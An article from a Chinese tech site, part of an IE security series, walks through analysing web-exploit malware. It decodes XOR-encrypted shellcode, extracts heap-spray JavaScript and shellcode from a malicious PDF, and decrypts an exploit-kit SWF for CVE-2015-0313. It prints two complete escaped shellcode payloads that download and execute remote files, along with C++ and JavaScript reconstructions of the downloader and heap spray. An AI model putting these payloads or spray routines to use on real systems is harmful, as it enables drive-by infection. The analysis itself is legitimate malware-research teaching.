NVIDIA 初创加速计划,免费加速您的创业启动 了解详情
写点什么

IE 安全系列:脚本先锋(4)

  • 2015-07-24
  • 本文字数:9736 字

    阅读完需:约 32 分钟

脚本先锋系列第四章,也是最后一章。将介绍对 Shellcode 的调试,以及 SWF、PDF 漏洞的利用文件的简单处理过程。

下一部分预告:

IE 安全系列:中流砥柱(I) — JScript 5 解释器处理基本类型、函数等的简单介绍

IE 中使用的 Javascript 解析器经历了多年的磨练,终于在版本 5 处分成了两个大版本,5 之后的 9,二者的关联和对一些内容的处理方式的不同之处,这两篇中,第一篇将对 Jscript 5.8 引擎中的字处理、函数调用等做简单的介绍。

IE 安全系列:中流砥柱(II) — JScript 9(Charka)编译后字节码的简单介绍

多年磨练之后,Jscript 9 的性能得到了很大的提升,9 和 5 处理起一些基本类型数据的区别会在这篇简要叙述,这篇会有和(I)类似的介绍,只不过是针对 Charka 的脚本流程的。 (这个成语,我想大概也能这么用吧……)

1、调试 Shellcode

上一篇(V.2)中,我们留下了一个全篇使用 XOR 0xE2 加密的 Shellcode,这篇中,我们将使用调试工具解密它。

escape 之后的 Shellcode 如下:

复制代码
%u0C0C%u6090%u1CEB%u4B5B%uC933%uB966%u03F8%u3B81%u0BFF%uE160%
u850F%u0254%u0000%u3480%uE20B%uFAE2%u05EB%uDFE8%uFFFF%u0BFF%uE160%
uE2E2%u86BD%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u8815%
uBBED%uC00A%uE2E1%u72E2%u1A00%uD18A%uE2D0%u8AE2%u91B7%u9087%u69B6%
uEEA4%u720A%uE2E0%u69E2%u880A%uBBE3%uE00A%uE2E1%u00E2%u8A1B%u8C8D%
uE2E2%u978A%u8E90%uB68F%uF41D%u2267%uF197%u8D8A%uE28C%u8AE2%u9097%
u8F8E%u69B6%uEEA4%u820A%uE2E0%u69E2%u880A%uBBE3%u300A%uE2E0%u00E2%
u8A1B%uD18E%uE2D0%u918A%u878A%uB68E%uA469%u0AEE%uE0A3%uE2E2%u0A69%
uE388%u0ABB%uE051%uE2E2%u1B00%u0E63%uE3E2%uE2E2%u3E69%u2163%uE262%
uE2E2%uE288%uF888%u88B1%u1DE2%uA6B4%u22D1%u62A2%uE1DE%u97E2%u6B1B%
u7264%uE2E2%u25E2%uE1E6%u83BE%u87CC%uA625%uE6E1%u879A%uE2E2%u2BD1%
uB3B3%uB5B1%uD1B3%u6922%uA2A4%u0C0A%uE2E3%u61E2%uE21A%u67ED%uE37E%
uE2E2%uE288%uE288%uE188%uE288%uE088%uE28A%uE2E2%uB122%uA469%u0AC6%
uE32F%uE2E2%u1A61%uED1D%u9966%uE2E3%u6BE2%u82A4%uE288%u1DB2%uCAB4%
uA46B%u6986%u7264%uE2E2%u25E2%uE1E6%u80BE%u87CC%uA625%uE6E1%u879A%
uE2E2%uE288%uE288%uE088%uE288%uE288%uE28A%uE2E2%uB1A2%uA469%u0AC6%
uE369%uE2E2%u1A61%uED1D%uDB66%uE2E3%u6BE2%u6664%uE2E2%u6BE2%u6E7C%
uE2E2%u69E2%u82A4%uE288%uE288%uE288%uA469%uB282%uB41D%u25DA%u92A4%
uE2E2%uE2E2%uA425%uE296%uE2E2%u63E2%uE225%uE2E0%uD1E2%u6939%u86BC%
uE288%uA46F%uB292%uE28A%uE2E6%uB5E2%u941D%u1D82%uE6B4%u2BD1%uE25B%
uE2E6%u62E2%uED9E%u771D%uEE96%u9E62%u1DED%u96E2%u62E7%uED96%u771D%
u0900%u2169%uE2CF%uE2E6%u61E2%uE21A%uE19D%uBC6B%u8892%u6FE2%u96A4%
u1DB2%u9294%u1DB5%u6654%uE2E2%u1DE2%uD2B4%u0963%uE6E2%uE2E2%u1961%
u9DE2%u1D47%u8294%uB41D%u1DD6%u6654%uE2E2%u1DE2%uD6B4%u6469%uE272%
uE2E2%u7C69%uE26E%uE2E2%uE625%uBEE1%uCC83%uB187%uB41D%u69CE%u6E5C%
uE2E2%u69E2%u7264%uE2E2%u25E2%uE5E6%u80BE%u87CC%u0E63%uE3E2%uE2E2%
u3E69%uE28A%uE2E3%uB1E2%uE28A%uE2E3%uB5E2%uE288%uE288%uB41D%u69FE%
uD119%uD122%u6339%uE20E%uE2E0%u69E2%u612E%uB61A%uEA9F%uFE6B%u61E3%
uE622%u1109%u2E69%u3B69%u2161%uD1F2%uB222%uB1B3%uB2B2%uB2B2%uB2B2%
uB2B5%u69B2%uEAA4%u650A%uE2E2%u63E2%uFA26%uE2E6%u83E2%uA425%uE1F6%
uE2E2%uD1E2%u692B%uC6DE%u0D61%u6194%uEA26%u2BD1%u051D%uE288%uB41D%
u86F6%uD243%uE2E2%u69E2%uEEA2%u9269%u4FFE%u8A69%u69EA%u6B15%u86B4%
uE688%u0ABB%uE241%uE2E2%u0072%u8A1A%uD0D1%uE2E2%uB78A%u8791%uB690%
uE469%uF00A%uE2E2%u69E2%u880A%uBBE7%u660A%uE2E2%u00E2%uD11B%uB51D%
uB41D%u62E6%u0ADA%uDA62%u970B%u63F3%uE79A%u7272%u7272%uEA96%u1D69%
u69B7%u6F0E%uE7A2%u021D%uDA0A%uE2E2%u21E2%uDA62%u620A%u0BDA%uF397%
u9A63%u72E7%u7272%u9672%u8A05%uE8EA%uE2E2%uA26F%u1DE7%u0A02%uE2F5%
uE2E2%u0A21%uE2F3%uE2E2%uF35A%uE6E3%u2062%uE2EE%uE009%u21BA%u1B0A%
u1D1D%uB91D%uE524%u6B5A%uE3BD%u2584%uE7A5%u021D%uB121%u3E69%u88B1%
u8AA2%uF2E2%uE2E2%u69B5%uC2A4%u640A%u1D1D%uBA1D%uB321%u69B4%uDE97%
u9669%u9ACC%u17E1%u69B4%uC294%u17E1%u2BD1%uA3AB%uE14F%uD127%uED39%
uF25C%u34D8%uEA96%u2923%uE1E5%uA238%u1309%uFDD9%u0597%u69BC%uC6BC%
u3FE1%u6984%uA9EE%uBC69%uE1FE%u693F%u69E6%u27E1%uBC49%u21BB%u9B0A%
u1D1E%u501D%u0010%u5016%uEDD4%u12F1%u99AA%uD0DF%u7396%u67EE%u4D3D%
u8159%u336B%uB3AD%u58A2%uE59D%uC070%uFC92%u8646%u710D%u06D0%u6C76%
uE8F1%u9B4E%u04DB%u267A%uFD6F%uB596%uEF84%uA11D%u4E5C%u7A39%uF2E8%
u621A%u4D34%u1978%uF7B1%u8A84%u9696%uD892%uCDCD%u8083%uCC8C%u8C86%
uD291%uD7D5%uCCD7%u878C%uCD96%uCD86%u8686%uCC86%u9A87%uE287%uE2E2

将这些 Shellcode 放到 EXE 根部,组成一个 EXE,见参考资料 (1] 附件。

警告 如果你直接解压这个程序,你的杀毒软件可能会报警。这是因为该 Shellcode 已经被多个杀毒软件作为特征入库。请在虚拟环境执行,或者暂时关闭杀毒软件。

CALL 405006调用时,会将其下一条指令的地址压栈,因此00405006处的POP EBX其实获取到的就是下一条指令的地址。

之后ECX = 0x3F8的语句其实就是为了告诉下面的 LOOP 指令要循环多少(0x3f8)次,这也是加密后的字符串长度。

然后,下一句意义其实不大,只是为了确保要解密的内容对不对,

(点击放大图像)

紧接着是一个JNZ 指令,可以看到OllyDbg 之前发生了解析错误。OD 解析为了DB、TEST、DB 三条不伦不类的数据+ 指令的结合,对比IDA 的结果可以知道这里是一个JNZ,实际上跟着CMP,这里十有八九也是跳转指令。

选中三行,右键选择analysis - remove analysis from selection,这时就可以恢复正常的语句。

接下来的XOR+LOOP 则就是经典的“加密/ 解密”,一大牛也戏称中国三大加密算法之一的异或解密。解密密钥很明显就是0xe2 了。

在LOOP 下一行下断点,可以得到解密后的内容,此时OD 还是解析有误,我们手动选择 0x5033-0x3f8左右的内容,重复 remove analysis 的过程即可得到基本正确的代码:

处理后:

4053AE处仍然是一个 CALL,会回到40502C处,上图中 JMP 的下一行。为什么这么做大家应该很容易理解,和之前一样,4053AE之后的一句很可能就是常量值了,而且40502C处也有POP EDI的语句。

由于之前我们 remove analysis 比较多,导致了后面的常量也被当作了代码,这个很容易就能发现,因为里面出现了大量的不明所以的代码:

右键中选择 Analysis code 即可重新分析这块:

(点击放大图像)

我们假装什么都没看见,继续调试这段代码。

30、0c、1c、8,这些令人熟悉的数字(不记得了请看上篇最后),可以肯定的知道这里就是在获取某个函数地址,其实就是 LoadLibrary 了,这个肯定是各个 Shellcode 第一个要做的事情,要不然后续如何开展呢:)。

405369的 CALL 即会获取所需的函数地址。比较字符串可能会用掉较多的空间,所以这里它采用了给函数名取 HASH 的方式:

即伪代码如下:

复制代码
DWORD dwHash;
CHAR chFuncName;
while(chFuncName = szWindowsAPIName++)
{
dwHash += chFuncName;
_ROR(dwHash, 7);
}

在函数名这种大概一个模块就几百个的东西里面,这个 HASH 算法还是可以做到粗略的准确的,

此例中,在这附近就是存着的他们想要拿到的函数的 HASH,获取到函数地址之后会覆盖掉对应的 Hash,可见空间用的还是比较紧凑的:

之后就是简单的函数跟踪了,有兴趣的话可以自己跟踪一下,之后该 Shellcode 的动作我直接写成 C++ 代码了,供参考,获取函数地址的细节代码我就跳过不写了,不保证可编译,不过如果要编译的话简单修改应该就可以了:

复制代码
HMODULE hModule = LoadLibraryA(“User32”);
GetAddressFromModule(hModule, “GetModuleHandleA”);
// 自己获取函数地址的函数,没用系统的 GetProcAddress,估计为了省字符串的长度
,这里事实上还是用的 Hash,为了方便阅读这么写了
if(GetModuleHandleA(“urlmon”) == NULL)
{
hModule = LoadLibrary(“urlmon”);
}
GetAddressFromModule(hModule, “URLDownloadToFileA”);
hModule = LoadLibraryA(“shell32”);
GetAddressFromModule(hModule, “SHGetSpecialFolderPathA”);
CHAR buffer[MAX_PATH];
SHGetSpecialFolderPathA(0, buffer, 0x1a, 0); //APPDATA
strcat(buffer + strlen(buffer), “\a.exe”);
do
{
if (URLDownloadToFileA(0, MALICIOUS_URL, buffer, 0, 0) == S_OK)
{
// 这个 URL 访问不了了,所以必然不是 S_OK,执行完以后手动置 EAX 为 0,
然后随便拷贝个 EXE 去 %appdata%\a.exe 吧,要不然后面调试起来会比较蛋疼
HANDLE hFile = CreateFileA(buffer, 0xc0000000, 2, 0, 3, 0, 0 );
if(hFile != INVALID_HANDLE)
{
DWORD dwFileSizeLo = GetFileSize(hFile, 0);
CHAR buffer_otherone[1024];
buffer[strlen(buffer) - 5] = ‘b’;
// 实际上操作语句不是这样,不过最后结果一样,简单写好了
HANDLE hFile2 = CreateFileA(buffer, 0x40000000, 0, 0, 2, 0, 0);
if(hFile2 == INVALID_HANDLE) break;
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
DWORD dwPos = 0;
while(dwPos < dwFileSizeLo)
{
ReadFile(hFile, buffer_otherone, 1024, dwBytesRead, NULL);
dwPos += 1024;
for(int i=0; i<1024; ++i)
{
if(buffer_otherone[i] != 0 && buffer_otherone[i] != 0x95)
buffer_otherone[i] ^= 0x95;
}
// 事实上木马下载回来的文件是 0x95 异或过的,只是为了防杀,
所以这里为了保证它能正常运行,还需要这一步给它解回来
WriteFile(hFile2, buffer_otherone, 1024, 0, 0);
}
CloseHandle(hFile);
CloseHandle(hFile2);
buffer[strlen(buffer) - 5] = ‘a’;
// 实际上操作语句不是这样,不过最后结果一样,简单写好了
DeleteFileA(buffer);
buffer[strlen(buffer) - 5] = ‘b’;
WCHAR bufferw[256];
MultiByteToWideChar(buffer, CP_ACP, 0, buffer, 256, bufferw, 256);
CreateProcessInternalW(0,0, bufferw, 0, 0, 0, 0); // 启动木马
}
}
}while(0);
ExitProcess(0);

MALICIOUS_URL 就这玩意,不贴上来了,要不白送别人一个友情链接多不好:

2、Shellcode in PDF

Adobe PDF Reader 是一个全球内都广泛使用的工具,而它又可以在 IE 中实例化,因此,PDF 漏洞也是攻击者热衷于挖掘和利用的一个重要部分,而 PDF 中也允许 Javascript 的执行,这就更加剧了其安全问题,本节将简单介绍如何提取 PDF 中的 Shellcode。

关于 PDF 结构的细节不在这里过多介绍,以下是一个 PDF 的很常见的形式,PDF 有明显的“节”(x x obj)和“节”信息(用双尖括号包围),而为了控制 PDF 的大小,PDF 是支持多种压缩方式的,一种方式是 zlib 算法的压缩,这种方式压缩的节显示如下,可以从 FlateDecode 来区分出来。

在 stream-endstream 之间的就是压缩后的内容,还有个特征是这段内容的第一个字是“x”。

当然,PDF 也是支持明文存放的甚至于直接内部执行 JS,例如:

16 0 obj - endobj中间的就是 js 脚本。

针对 PDF 的解析可以参考我之前放出来的 Redoce 工具,可以针对性地对压缩过的部分进行解压,例如图中这节压缩内容解压后明显是垃圾信息,因此可以跳过:

(点击放大图像)

附件中的例子有恶意代码的部分是明文存放的,因此要对它的代码进行阅读和Shellcode 的抽取应该是相当简单的。

(点击放大图像)

还有一点是PDF 中的JS 并不是多“标准”,有个明显的特征是它的内容会经过一层编码,例如上图\全部被编码成了\,工具可以做简单清理,如上图所示。

其实清理之后,留下来了很多\”,虽然不会产生语法错误,不过看起来还是很别扭,也可以手动再把这些\都删掉。还有开头的例如(?function …需要手动删除成(function …。

清理完的代码见附件malicious_VI.rar 的 pdf.js.txt。

简单地阅读一下代码,虽说一眼就能看出来awn5fmmtY 这个变量就是Shellcode,和、至少是它的绝大部分,但是还是看一看吧:

(点击放大图像)

一番阅读之后,可以发现这里使用了 app[’eval’](xxxx),正如你所见,不是他替换了什么东西,而是 PDF 中的 eval 函数实际上是属于 app 对象的,而不是 window 对象。具体可以参照参考资料,Adobe 的开发资料。

最终执行的就是这么一段

(点击放大图像)

为了不让图太大,我把字号缩小了,具体可参照附件。

这一段中,采用了 awn5fmmtY = unescape(awn5fmmtY.join(""));的方式将这个 Array 输出成一个字符串。然后就是简单的堆喷过程。

(点击放大图像)

我们手动改一下变量就能看的很清楚了:

复制代码
var fK2iJohU = 0x400000;
var mTcRGdIAFp = awn5fmmtY.length * 2;
var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);
var sR4ZJ8w7ci = unescape("%u9090%u9090");
sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);
var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;
for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++)
{
rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;
}

改为方便人阅读的代码就是:

复制代码
var arr = new Array();
var blockSize = 0x400000;
var shellcodeSize = shellcode.length * 2;
var spraySize = blockSize - (shellcodeSize + 0x38);
var nops = unescape("%u9090%u9090");
nops = extendStrForXXTimes(nops, spraySize);
var sprayTarget = 0x0c0c0c0c;
var fillTimes = (sprayTarget - 0x400000) / blockSize;
for(var i = 0; i < fillTimes; i++)
{
arr[i] = nops + shellcode;
}

如何,上述代码是否非常眼熟?对了,随便找一个堆喷的 js 代码都是如此。这个 PDF 实际上是利用了 PDF 的app.doc.Collab.getIcon()函数的溢出漏洞,该函数没有对文件名长度进行检查,直接拷贝进了缓冲区,是一个经典的溢出漏洞。利用时文件名需要加上特定的表示,例如下图中 N.doc,否则无法走入有漏洞的部分。Adobe JavaScript 中使用堆喷在当时效果非常稳定:

具体细节网上有分析过程,在此不提了,Shellcode 可以简单看一下。

提取出来的 Shellcode 如下:

复制代码
%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%
u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%
u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%
u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%
u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%
u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%
uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%
uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%
uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%
ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%
u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%
u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%
u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%
u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%
u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%
ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%
uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%
u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%
u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%
u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%
ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%
u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%
u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%
uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%
udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%
u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%
ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%
u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%
u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%
uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%
u6c6e%u616f%u5464%u466f%u6c69%u4165%u7500%u6470%u7461%u2e65%
u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%
u692f%u6b6e%u616b%u2e6b%u6e63%u652f%u746e%u7265%u752f%u6470%
u7461%u2e65%u6870%u3f70%u6469%u333d%u7226%u7465%u6f3d%u006b%u9000

通过简单处理可以看到就是简单的URLDownloadToFile,由于这里%u0000不会影响流程,所以支持带 0 的 Shellcode 使得它的体积缩小了很多。简单调试一下吧。将 Shellcode 附着到 exe 之后(附件 malicious2.exe.txt)。

代码十分简单:

首先 PUSHAD PUSHFD,然后使用 POP EBP,SUB EBP,0D 来构造一个栈帧。

接着又是常见的 fs:30、0c、1c、8、34 这些常见的值,后面的内容不言自明,我们可以锻炼一下静态阅读,具体动作如下:

也即跟着查找 GetTempPathA(ebp+15e)等等函数的地址并保存在 ebp+14e 处。

然后,还是上图,就可以知道 0x405053 处的 call 实际上就是 call 了 GetTempPathA,在此获得临时目录位置,接下来:

此处LoadLibrary EBP+245处的内容(URLMON.dll),然后并GetProcAddress获取EBP+250处的函数地址(URLDownloadToFileA),并最终调用URLDownloadToFileA,下载的文件是EBP+278处的 URL,保存到EBP+15E处(%temp%\update.exe):

并在此调用 EBP+15E 的函数(WinExec)执行下载回来的程序:

然后再次获取 Temp 目录的地址,重复之前的步骤,只不过下载到的是%temp%\crash.php,并再次调用 WinExec 执行,POPFD POPAD,退出程序。

这个 Shellcode 的主要作用就是下载者了,因此到这里也算是完美的完成了任务了。让我们再看看它的亲戚:SWF。

3、Shellcode in SWF

如上一节所说,SWF 凭借着目前网上最为流行的多媒体互动程序 Adobe Flash Player,SWF 的用户量只会比难兄难弟 PDF 的大而不会小,而 SWF 的漏洞高发,导致了 SWF 也称为了漏洞利用者心目中的明星。针对 SWF 的反编译,可以依赖于 Eltima Software 的 Flash Decompiler Trillix,或者其他能弄成 AS 文件的都可以。

单从 SWF 自身来说,它的压缩模式常见的两种,文件头是 CWS 的表示使用了压缩,也是 zlib 算法,FWS 的表示没有压缩过。

我的工具中也提供了对 SWF 的自动解压,由于有些网马会把 URL 明文存放,所以处理后还是可以方便病毒研究者来抓出 URL 的,如下图:

接下来可以阅读 SWF 的 Action Script 了,与之相关的书籍可以参考《 ActionScript 3.0 Bible 》,这是一本介绍十分详细的工具书,或者其他你手头可以让你迅速看懂 AS 的资料也可。

附件中 malicous3.swf.txt 是 CVE-2015-0313 的利用文件,该漏洞是 Flash Player 的一个 UAF 问题,具体细节网上有很多了,这里我们还是针对 SWF 到 AS 的过程做一些解释:

使用 Flash Decompiler Trillix 载入该 swf 文件。

(点击放大图像)

可以看到AS 脚本中有三个类,这个SWF 文件抓取自使用AEK ,AEK 提供给别人用的东西都是高度混淆的,这里面也不例外,可见各个类的名字就已经被混淆过了。

一个小问题是AEK 是漏洞工具包,或者白话点就是卖给别人用来坑其他人的软件,不是漏洞名。国内的一个软件曾经提示了AEK 是漏洞,其实是不正确的,具体名字我也就不截图了:

AS3.0 中会使用 Worker 对象,Worker 对象间也可以共享对象 3,漏洞代码通过触发在主执行线程和 worker 间共享的 MessageChannel 属性中的漏洞来执行。主要是三步:

通过 setSharedProperty 把一个 ByteArray 对象设置为共享属性
把这个 ByteArray 设置到 domainMemory 中
worker 调用 getSharedProperty 获取这片内存,然后调用ByteArray::Clear清空它。Clear 之后,domainMemory 并没有将内存置空,从而导致了 UAF 的存在。
然后,让我们先阅读一下 SWF 代码:

复制代码
In &.as
private static var 5:&;
5 = new &();

这里的逻辑是如此连上的,所以“5”可以看作是 class “&”的实例。

由于class &::&()中设置了this.4 = "BAPO6SgZH....”; 因此,

函数 7() 中事实上 loc1 的值就是经过函数’() 处理后的 this.4 后面这一串字符了,

函数’() 的定义如下:

不过这么看实在是太痛苦了,而且由于这个混淆使得 Adobe Flash Professional CS5 的着色也发生了混乱,因此让我们手动替换一下里面的值。

首先简单阅读一下’(),知道它是某种解密函数,因此我直接把它换成 decode();

然后针对常量也做类似的简单阅读 - 替换:

(点击放大图像)

最终得到:

(点击放大图像)

(点击放大图像)

这样代码看起来就要方便得多了,不用在想这一堆乱七八糟的代号是什么了。使用检查语法错误功能,检查完毕后就可以执行这段代码让它自己吐处理结果了。

新建一个 AS 工程,把脚本粘进去。

复制代码
public static function someProc():*
{
var myDecodedStr:*=decode(evilClass.strEncrypted);
trace(myDecodedStr);

然后在对应位置加上 trace,decode 返回的是类 BASE64 解后的结果,该 SWF 在这段代码:

复制代码
while (i < myDecodedStr.length)
{
n = n + 1 & 255;
loc6 = (myByteArray[n] & 255) + loc6 & 255;
loc10 = myByteArray[n];
myByteArray[n] = myByteArray[loc6];
myByteArray[loc6] = loc10;
loc9 = (myByteArray[n] & 255) + (myByteArray[loc6] & 255) & 255;
myDecodedStr[i] = myDecodedStr[i] ^ myByteArray[loc9];
++i;
}

运行完之后输出的内容就是解密后的了,其实仔细看的话它就是个 RC4。

(点击放大图像)

Ctrl+Enter 后卡了小一阵子,运行得到结果:

结果输出又是一个SWF 文件,真是让人头疼的事情,使用FileReference 类即可( import flash.net.FileReference;

然后保存后的就是解密后的内容。对这个 swf 再做一个分析,如果 Flash Decompiler 一分析那个 SWF 就崩溃的话,这个时候可以换个其他类似工具,例如 FFD。

打开后可以看到类名点点杠杠的好不欢乐,AEK 的加密已经丧心病狂到把它认为所有有可能威胁到自己的代码全部RC4 加密放到了二进制数据中,使用时现场取出解压。

眼睛都看花了,阅读过程太过痛苦,就贴一下具体内容吧,

这里的逻辑是:如果没解密的话解一下( if (!_a_-___-) _a-_—()),然后把 index 异或处理一下,异或的值就是 a—。

这个是它的 RC4 加密的 Key,2 组密钥,16 字节一组。

最终此处做 ROP 并且使用 Shellcode,参考资料也是解了类似的SWF 文件,其中的RC4 解密代码大家可以借鉴一用。

解出来的Shellcode 使用的代码很简单,和上一节类似,会用WinHTTP 的相关函数访问网址并用XXTEA 解密:

如果是Shellcode ,直接执行;

如果是DLL,下载并调用 regsvr32 /s来注册(其实也就是启动)它。

Shellcode 篇章至此结束,限于篇幅和个人能力,肯定还是有很多覆盖不到的地方,一些实战内容将在后续章节覆盖,同时,参考资料中也有大量的 Shellcode 可供调试。

参考资料


  1. 附件:请关闭杀毒软件并在虚拟环境调试,网马的 Shellcode 比较老,EXE 调试环境推荐 Windows XP SP3。
  2. http://www.adobe.com/devnet/acrobat/javascript.html
  3. Communicating between workers http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html
  4. http://www.expl0it-db.com/
  5. http://www.cnblogs.com/Lamboy/p/4278066.html

感谢魏星对本文的策划和审校。

给InfoQ 中文站投稿或者参与内容翻译工作,请邮件至 editors@cn.infoq.com 。也欢迎大家通过新浪微博( @InfoQ @丁晓昀),微信(微信号: InfoQChina )关注我们,并与我们的编辑和其他读者朋友交流(欢迎加入 InfoQ 读者交流群)。

2015-07-24 10:521616

评论

发布
暂无评论
发现更多内容

Python进阶(三十一)往MySQL数据库里添加数据,update和insert效率分析

No Silver Bullet

Python MySQL 数据操作 11月月更

数据预处理和特征工程-数据预处理-特征选择-方差过滤

烧灯续昼2002

Python 机器学习 算法 sklearn 11月月更

支持日均亿级交易处理,腾讯云&金蝶“国产数据库联合解决方案”正式发布

科技热闻

架构误区系列3:单元测试依赖外部环境

agnostic

测试 单元测试

Kafka资料

Joseph295

跟着卷卷龙一起学Camera--低延迟05

卷卷龙

ISP camera 11月月更

极客时间运维进阶训练营第三周作业

忙着长大#

极客时间

第九期 - 模块六

wuli洋

跟着卷卷龙一起学Camera--低延迟06

卷卷龙

ISP camera 11月月更

基于 docker-compose 实现对 Nginx+Tomcat Web 服务的单机编排

忙着长大#

Docker-compose

数据预处理和特征工程-特征选择-相关性过滤-卡方过滤

烧灯续昼2002

Python 机器学习 算法 sklearn 11月月更

Vue基础学习(六)

Studying_swz

Vue 11月月更

【设计模式】以国足的例子来解释代理模式,希望自己不要被退钱

游坦之

设计模式 11月月更

API安全问题的原因及挑战

阿泽🧸

API 11月月更

【LeetCode】最短的桥Java题解

Albert

算法 LeetCode 11月月更

抖音"凶猛"的幕后英雄,火山引擎DataTester累计做过150万次A/B测试

字节跳动数据平台

字节跳动 算法 AB实验 产品优化 实验科学

综合实验 配置三层 热备 生成树 ospf 和 rip 以及他们之间的重分发等将内网 全通

初学者

网络 11月月更

2022-11-12:以下rust语言代码中,结构体S实现了crate::T1::T2的方法,如何获取方法列表?以下代码应该返回[“m1“,“m2“,“m5“],顺序不限。m3是S的方法,但并不属于c

福大大架构师每日一题

rust 福大大

Python进阶(三十三)Python获取并输出当前日期时间

No Silver Bullet

Python 日期处理 11月月更

万万没想到,除了香农计划,Python3.11竟还有这么多性能提升!

Python猫

Python

功能强大的开源网络监控工具:LibreNMS,牛逼!

wljslmz

网络监控 11月月更 LibreNMS

跟着卷卷龙一起学Camera--噪声与去噪01

卷卷龙

ISP camera 11月月更

mysql的一些基础知识

我是一个茶壶

MySQL 安全 11月月更

架构误区系列2:exactly once的消息中间件不需要考虑消息重投

agnostic

消息中间件

SAP Hybris Category 显示在 Storefront 的判定条件

Jerry Wang

Java SAP Hybris commerce 11月月更

部署vue项目到Linux服务器

Studying_swz

Linux Vue 11月月更

Python进阶(三十)Python3实现随机数

No Silver Bullet

Python 随机数 11月月更

TSDB助力风电监控

CnosDB

IoT 时序数据库 开源社区 CnosDB infra

【愚公系列】2022年11月 微信小程序-app.json配置属性之debug

愚公搬代码

11月月更

常见的数据指标体系

穿过生命散发芬芳

数据指标 11月月更

阿里CTO程立:只有全面Serverless化才能实现真正的深度用云

Geek_2d6073

IE安全系列:脚本先锋(4)_安全_blast_InfoQ精选文章